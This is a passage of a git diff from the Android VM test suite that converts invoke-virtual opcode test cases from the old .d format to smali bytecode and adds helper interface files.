+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_20.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_virtual/TestStubs;)V
+.registers 5
+:Label0
+
+       invoke-virtual {v4}, Ldot/junit/opcodes/invoke_virtual/TestStubs;->TestStubP()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d
deleted file mode 100644
index 135f037..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_22.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_22
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual/d/TPlain/<init>()V
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali
new file mode 100644
index 0000000..514d30a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_22;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TPlain;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d
deleted file mode 100644
index 071a91f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_23.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_23
-.super dot/junit/opcodes/invoke_virtual/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali
new file mode 100644
index 0000000..f3cd065
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_23;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..356b95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali
new file mode 100644
index 0000000..b774b47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24.smalis/T_invoke_virtual_24.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_24;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/TTestInterface;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d
deleted file mode 100644
index 7816b12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_25.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_25
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       new-instance v6, java/lang/Object
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali
new file mode 100644
index 0000000..26b005f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_25.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_25;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+
+       new-instance v6, Ljava/lang/Object;
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..267a591
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali
new file mode 100644
index 0000000..5c1793a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26.smalis/T_invoke_virtual_26.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_26;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..267a591
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..56ff2d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali
new file mode 100644
index 0000000..7954d33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27.smalis/T_invoke_virtual_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_27;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..16628d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali
new file mode 100644
index 0000000..f3756c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28.smalis/T_invoke_virtual_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_28;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali
new file mode 100644
index 0000000..c7ff55b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    invoke-virtual {p0}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_4;->test()V
+
+    return-void
+.end method
+
+.method public native test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d
deleted file mode 100644
index 6f18698d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_5.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali
new file mode 100644
index 0000000..5bd3370
